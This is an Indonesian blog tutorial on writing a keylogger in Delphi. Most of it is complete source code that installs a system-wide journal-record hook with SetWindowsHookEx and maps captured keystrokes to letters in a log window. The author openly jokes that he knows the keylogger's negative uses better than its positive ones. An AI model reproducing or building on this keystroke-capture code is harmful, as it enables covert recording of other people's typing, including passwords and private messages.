Keyboard Hooks (Keylogger) Pakai Delphi

Mungkin istilah “Keylogger” tidak asing di telinga kita, definisi aplikasi keylogger menurut saya adalah suatu aplikasi yang mampu merekam setiap tombol yang ditekan pada keyboard…hummm…trus gunanya buat apa???sebenarnya saya belum begitu mengerti tentang kegunaan positifnya tapi kalo negatifnya tahu, xixixiixi…:D…nah di tutorial ini saya akan mencoba mengimplementasikan cara pembuatan keylogger itu sendiri.

Langkah awal kita rancang suatu form dengan design sebagai berikut :

rc_hook

dah terserah akan dirancang seperti apa yang penting harus memperhatikan nama yg penting berikut ini :

* TForm : frmMain
* TButton : btnHook,btnUnHook
* TMemo: mLog

setelah itu supaya tampilannya mirip DOS(komponen memonya) pada event onKeyPress kita masukkan sintak :

function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
var y : string ;
var x : cardinal ;
var ev : t_evt;
begin
ev := ptr(lParam);
x := ev.paramL ;
if ev.message = 256 then
begin
case x of
283 : UnhookWindowsHookEx(hookhandle);
7745 : y := ‘a’ ;
12354 : y := ‘b’ ;
11843 : y := ‘c’ ;
8260 : Y := ‘d’ ;
4677 : y := ‘e’ ;
8518 : y := ‘f’ ;
8775 : Y := ‘g’ ;
9032 : y := ‘h’ ;
5961 : y := ‘i’ ;
9290 : y := ‘j’ ;
9547 : y := ‘k’ ;
9804 : y := ‘l’ ;
12877 : y := ‘m’ ;
12622 : y := ‘n’ ;
6223 : y := ‘o’ ;
6480 : y := ‘p’ ;
4177 : y := ‘q’ ;
4946 : y := ‘r’ ;
8019 : y := ‘s’ ;
5204 : y := ‘t’ ;
5717 : y := ‘u’ ;
12118 : y := ‘v’ ;
4439 : y := ‘w’ ;
11608 : y := ‘x’ ;
11353 : y := ‘y’ ;
5466 : y := ‘z’ ;
14627 : y := ‘ ‘ ;
7181 : frmMain.mLog.Lines.Add(”);
end;
end;
bla := y ;
frmMain.mLog.Text := frmMain.mLog.Text + y ;
end;

perlu diingat bahwa ini adalah native function, jadi untuk dapat dipanggil pada event selanjutnya, function ini harus berada pada urutan paling atas.

nah sekarang saatnya memasang sintak pada button, untuk button “Hook” event onClick kita akan pasangkan sintak sebagai berikut :

hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
if hookhandle = 0 then
begin
mLog.Lines.Add(‘Hook Failed’);
end
else
begin
mLog.Lines.Add(‘Hooked’);
btnHook.Enabled := FALSE;
btnUnHook.Enabled := TRUE;
end;

dan untuk button “unHook” event onClick kita pasangkan sintak sebagai berikut :

if UnhookWindowsHookEx(hookhandle) then
begin
mLog.Lines.Add(‘Unhooked’);
btnUnHook.Enabled := FALSE;
btnHook.Enabled := TRUE;
end
else
begin
mLog.Lines.Add(‘Unhooked’);
end;
nah setelah mengikuti langkah-langkah di atas sekarang saatnya mencoba aplikasi dengan menekan tombol F9 pada keyboard dan apabila telah benar maka hasilnya adalah sebagai berikut :

Aplikasi Hook Keyboard

Listing aplikasi selengkapnya adalah sebagai berikut :

unit uMain;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TfrmMain = class(TForm)
Panel1: TPanel;
btnHook: TButton;
btnUnhook: TButton;
mLog: TMemo;
procedure btnHookClick(Sender: TObject);
procedure btnUnhookClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure mLogKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
{ Public declarations }
end;
type t_evt = ^EVENTMSG;

var
frmMain: TfrmMain;
hookhandle : HHOOK;
bla : string;

implementation

{$R *.dfm}
function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
var y : string ;
var x : cardinal ;
var ev : t_evt;
begin
ev := ptr(lParam);
x := ev.paramL ;

if ev.message = 256 then begin
case x of
283 : UnhookWindowsHookEx(hookhandle);
7745 : y := ‘a’ ;
12354 : y := ‘b’ ;
11843 : y := ‘c’ ;
8260 : Y := ‘d’ ;
4677 : y := ‘e’ ;
8518 : y := ‘f’ ;
8775 : Y := ‘g’ ;
9032 : y := ‘h’ ;
5961 : y := ‘i’ ;
9290 : y := ‘j’ ;
9547 : y := ‘k’ ;
9804 : y := ‘l’ ;
12877 : y := ‘m’ ;
12622 : y := ‘n’ ;
6223 : y := ‘o’ ;
6480 : y := ‘p’ ;
4177 : y := ‘q’ ;
4946 : y := ‘r’ ;
8019 : y := ‘s’ ;
5204 : y := ‘t’ ;
5717 : y := ‘u’ ;
12118 : y := ‘v’ ;
4439 : y := ‘w’ ;
11608 : y := ‘x’ ;
11353 : y := ‘y’ ;
5466 : y := ‘z’ ;
14627 : y := ” ;
14624 : y := ‘ ‘ ;
7181 : frmMain.mLog.Lines.Add(‘ ‘);
end;
end;
bla := y ;
frmMain.mLog.Text := frmMain.mLog.Text + y ;
end;

procedure TfrmMain.btnHookClick(Sender: TObject);
begin
hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
if hookhandle = 0 then begin
mLog.Lines.Add(‘Hook Failed’);
end
else begin
mLog.Lines.Add(‘Hooked’);
btnHook.Enabled := FALSE;
btnUnHook.Enabled := TRUE;
end;

end;

procedure TfrmMain.btnUnhookClick(Sender: TObject);
begin
if UnhookWindowsHookEx(hookhandle) then begin
mLog.Lines.Add(‘Unhooked’);
btnUnHook.Enabled := FALSE;
btnHook.Enabled := TRUE;
end
else begin
mLog.Lines.Add(‘Unhooked’);
end;

end;

procedure TfrmMain.FormCreate(Sender: TObject);
begin
btnHook.Enabled := TRUE;
btnUnHook.Enabled := FALSE;
end;

procedure TfrmMain.mLogKeyPress(Sender: TObject; var Key: Char);
begin
createCaret(mLog.Handle, 0, 8,15);
ShowCaret(mLog.Handle);
SetCaretBlinktime(1500);
end;
end.

Demikian tutorial ini dibuat dan semoga bermanfaat bagi temen-temen semua.

  1. No trackbacks yet.

Anda harus masuk log untuk mengirim sebuah komentar.
%d blogger menyukai ini: